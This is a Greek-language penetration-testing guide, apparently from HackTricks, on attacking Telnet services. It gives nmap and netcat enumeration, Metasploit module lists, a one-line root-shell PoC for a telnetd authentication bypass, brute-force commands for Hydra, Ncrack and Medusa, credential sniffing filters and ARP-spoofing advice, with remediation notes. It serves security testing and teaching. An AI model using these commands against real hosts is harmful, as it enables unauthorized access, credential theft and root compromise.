23 - Pentesting Telnet

Tip

Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Μάθετε & εξασκηθείτε στο Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Υποστηρίξτε το HackTricks

Βασικές Πληροφορίες

Το Telnet είναι ένα πρωτόκολλο δικτύου που παρέχει στους χρήστες έναν μη ασφαλή τρόπο πρόσβασης σε έναν υπολογιστή μέσω δικτύου.

Προεπιλεγμένη θύρα: 23

23/tcp open  telnet

Enumeration

nc -vn <IP> 23

Η ενδιαφέρουσα enumeration μπορεί να γίνει με nmap:

nmap -n -sV -Pn --script "*telnet* and safe" -p 23 <IP>

Το script telnet-ntlm-info.nse θα αποκτήσει πληροφορίες NTLM (εκδόσεις Windows).

From the telnet RFC: Στο TELNET Protocol υπάρχουν διάφορες “επιλογές” που θα εγκριθούν και μπορεί να χρησιμοποιηθούν με τη δομή “DO, DON’T, WILL, WON’T” ώστε να επιτρέπουν σε έναν χρήστη και σε έναν server να συμφωνήσουν να χρησιμοποιήσουν ένα πιο περίπλοκο (ή ίσως απλώς διαφορετικό) σύνολο συμβάσεων για τη σύνδεσή τους στο TELNET. Τέτοιες επιλογές μπορεί να περιλαμβάνουν αλλαγή του σετ χαρακτήρων, της λειτουργίας echo, κ.λπ.

Ξέρω ότι είναι δυνατό να απαριθμήσει κανείς αυτές τις επιλογές, αλλά δεν ξέρω πώς — πείτε μου αν το ξέρετε.

Απαρίθμηση Επιλογών / Δυνατοτήτων Telnet

Το Telnet χρησιμοποιεί IAC + DO/DONT/WILL/WONT διαπραγματεύσεις για να ενεργοποιήσει επιλογές. Μπορείτε να παρατηρήσετε τις υποστηριζόμενες επιλογές καταγράφοντας την αρχική διαπραγμάτευση και εξετάζοντας/δοκιμάζοντας συγκεκριμένες δυνατότητες.

Nmap δοκιμές επιλογών/λειτουργιών

# Detect support for the Telnet ENCRYPT option
nmap -p 23 --script telnet-encryption <IP>

# Enumerate Microsoft Telnet NTLM info (NetBIOS/DNS/OS build)
nmap -p 23 --script telnet-ntlm-info <IP>

# Brute-force via NSE (alternative to Hydra/Medusa)
nmap -p 23 --script telnet-brute --script-args userdb=users.txt,passdb=pass.txt <IP>

Το telnet-encryption script ελέγχει αν η επιλογή ENCRYPT υποστηρίζεται; ορισμένες υλοποιήσεις ιστορικά χειρίστηκαν αυτήν την επιλογή λανθασμένα και ήταν ευάλωτες, αλλά το script μόνο ελέγχει την υποστήριξη. telnet-ntlm-info αποκαλύπτει μεταδεδομένα NTLM (NetBIOS/DNS/OS build) όταν το Microsoft Telnet NTLM είναι ενεργοποιημένο. telnet-brute είναι ένας NSE brute-force auditor για Telnet.

Brute force

Αρχείο ρυθμίσεων

/etc/inetd.conf
/etc/xinetd.d/telnet
/etc/xinetd.d/stelnet

HackTricks Αυτόματες Εντολές

Protocol_Name: Telnet    #Protocol Abbreviation if there is one.
Port_Number:  23     #Comma separated if there is more than one.
Protocol_Description: Telnet          #Protocol Abbreviation Spelled out

Entry_1:
Name: Notes
Description: Notes for t=Telnet
Note: |
wireshark to hear creds being passed
tcp.port == 23 and ip.addr != myip

https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-telnet.html

Entry_2:
Name: Banner Grab
Description: Grab Telnet Banner
Command: nc -vn {IP} 23

Entry_3:
Name: Nmap with scripts
Description: Run nmap scripts for telnet
Command: nmap -n -sV -Pn --script "*telnet*" -p 23 {IP}

Entry_4:
Name: consoleless mfs enumeration
Description: Telnet enumeration without the need to run msfconsole
Note: sourced from https://github.com/carlospolop/legion
Command: msfconsole -q -x 'use auxiliary/scanner/telnet/telnet_version; set RHOSTS {IP}; set RPORT 23; run; exit' && msfconsole -q -x 'use auxiliary/scanner/telnet/brocade_enable_login; set RHOSTS {IP}; set RPORT 23; run; exit' && msfconsole -q -x 'use auxiliary/scanner/telnet/telnet_encrypt_overflow; set RHOSTS {IP}; set RPORT 23; run; exit' && msfconsole -q -x 'use auxiliary/scanner/telnet/telnet_ruggedcom; set RHOSTS {IP}; set RPORT 23; run; exit'

Πρόσφατες Ευπάθειες (2022-2026)

  • CVE-2024-45698 – D-Link Wi-Fi 6 routers (DIR-X4860): Εσφαλμένη επικύρωση εισόδου στην υπηρεσία telnet που επιτρέπει σε απομακρυσμένους επιτιθέμενους να συνδεθούν χρησιμοποιώντας hard-coded credentials και να inject OS commands· διορθώθηκε με firmware 1.04B05 ή νεότερο.
  • CVE-2023-40478 – NETGEAR RAX30: Stack-based buffer overflow στο Telnet CLI passwd command που επιτρέπει network-adjacent code execution ως root· απαιτείται authentication αλλά μπορεί να παρακαμφθεί.
  • CVE-2022-39028 – GNU inetutils telnetd: Μια ακολουθία δύο byte (0xff 0xf7 / 0xff 0xf8) μπορεί να προκαλέσει NULL-pointer dereference στο telnetd, και επαναλαμβανόμενα crashes μπορεί να οδηγήσουν το inetd να απενεργοποιήσει την υπηρεσία (DoS).

Κρατήστε αυτές τις CVE κατά νου κατά την vulnerability triage—αν ο στόχος τρέχει un-patched firmware ή legacy inetutils Telnet daemon μπορεί να έχετε έναν απευθείας δρόμο προς code-execution ή έναν διασπαστικό DoS.

CVE-2026-24061 — GNU Inetutils telnetd auth bypass (Critical)

Βασικό χαρακτηριστικό: Telnet NEW_ENVIRON επιτρέπει στους clients να ωθούν environment variables κατά την option negotiation· το inetutils telnetd αντικαθιστά το %U στο login template με getenv("USER") και το περνάει απευθείας στο /usr/bin/login, ενεργοποιώντας argv-level option injection (no shell expansion). Βασική αιτία: οι εκδόσεις 1.9.3–2.7 επεκτείνουν το %U χωρίς φιλτράρισμα, οπότε μια τιμή USER που αρχίζει με - γίνεται parse ως flag του login. Για παράδειγμα, το %U γίνεται -f root, αποδίδοντας /usr/bin/login -h <hostname> "-f root" και παρακάμπτοντας την authentication μέσω login -f.

Ροή εκμετάλλευσης:

  1. Συνδεθείτε στην Telnet υπηρεσία και negoitate NEW_ENVIRON για να ορίσετε USER=-f root.
  2. Το telnetd κατασκευάζει το login argv συμπεριλαμβάνοντας την τιμή του %U που ελέγχεται από τον επιτιθέμενο.
  3. Το /usr/bin/login ερμηνεύει το -f root ως “pre-authenticated user root” και spawn-άρει ένα root shell.

PoC

# Inject USER via NEW_ENVIRON and obtain a root shell
USER='-f root' telnet -a <ip>

Σημείωση ενημέρωσης: inetutils 2.7-2 εισάγει έναν helper sanitize() που απορρίπτει τιμές που ξεκινούν με - ή περιέχουν κενά/μεταχαρακτήρες πριν τις αντικαταστήσει στο login argv, αποκλείοντας option injection. Ανίχνευση/επικύρωση: εντοπίστε εκτεθειμένα daemons με telnetd --version, dpkg -l | grep inetutils, systemctl status inetutils-telnetd, ή netstat -tlnp | grep :23.

Αντιμετώπιση

  • Επιδιόρθωση/αναβάθμιση των επηρεαζόμενων πακέτων αμέσως (π.χ., οι διορθώσεις για Debian είναι στις 2:2.4-2+deb12u2, 2:2.6-3+deb13u1, και 2:2.7-2).
  • Απενεργοποιήστε το Telnet ή περιορίστε την πρόσβαση σε αξιόπιστα δίκτυα διαχείρισης κατά την εφαρμογή των ενημερώσεων.

Sniffing Credentials & Man-in-the-Middle

Telnet μεταδίδει τα πάντα, συμπεριλαμβανομένων των credentials, σε clear-text. Δύο γρήγοροι τρόποι για να τα καταγράψετε:

# Live capture with tcpdump (print ASCII)
sudo tcpdump -i eth0 -A 'tcp port 23 and not src host $(hostname -I | cut -d" " -f1)'

# Wireshark display filter
tcp.port == 23 && (telnet.data || telnet.option)

Για ενεργό MITM, συνδυάστε ARP spoofing (π.χ. arpspoof/ettercap) με τα ίδια φίλτρα sniffing για να harvest passwords σε switched networks.

Αυτοματοποιημένο Brute-force / Password Spraying

# Hydra (stop at first valid login)
hydra -L users.txt -P rockyou.txt -t 4 -f telnet://<IP>

# Ncrack (drop to interactive session on success)
ncrack -p 23 --user admin -P common-pass.txt --connection-limit 4 <IP>

# Medusa (parallel hosts)
medusa -M telnet -h targets.txt -U users.txt -P passwords.txt -t 6 -f

Τα περισσότερα IoT botnets (παραλλαγές Mirai) εξακολουθούν να σαρώσουν το port 23 με μικρά default-credential dictionaries — η μίμηση αυτής της λογικής μπορεί να εντοπίσει γρήγορα αδύναμες συσκευές.

Exploitation & Post-Exploitation

Metasploit has several useful modules:

  • auxiliary/scanner/telnet/telnet_version – banner & option enumeration.
  • auxiliary/scanner/telnet/brute_telnet – multithreaded bruteforce.
  • auxiliary/scanner/telnet/telnet_encrypt_overflow – RCE against vulnerable Solaris 9/10 Telnet (option ENCRYPT handling).
  • exploit/linux/mips/netgear_telnetenable – enables telnet service with a crafted packet on many NETGEAR routers.

Αφού αποκτηθεί shell, θυμηθείτε ότι τα TTYs είναι συνήθως περιορισμένα· αναβαθμίστε με python -c 'import pty;pty.spawn("/bin/bash")' ή χρησιμοποιήστε το HackTricks TTY tricks.

Hardening & Detection (Blue team corner)

  1. Προτιμήστε SSH και απενεργοποιήστε πλήρως την υπηρεσία Telnet.
  2. Εάν το Telnet είναι απαραίτητο, δεσμεύστε το μόνο στα management VLANs, επιβάλετε ACLs και τυλίξτε το daemon με TCP wrappers (/etc/hosts.allow).
  3. Αντικαταστήστε τις legacy telnetd υλοποιήσεις με ssl-telnet ή telnetd-ssl για να προσθέσετε transport encryption, αλλά αυτό προστατεύει μόνο τα data-in-transit—password-guessing παραμένει trivial.
  4. Παρακολουθήστε για εξερχόμενη κίνηση προς port 23· οι παραβιάσεις συχνά spawn reverse shells πάνω από Telnet για να παρακάμψουν αυστηρά HTTP egress φίλτρα.

References

Tip

Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Μάθετε & εξασκηθείτε στο Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Υποστηρίξτε το HackTricks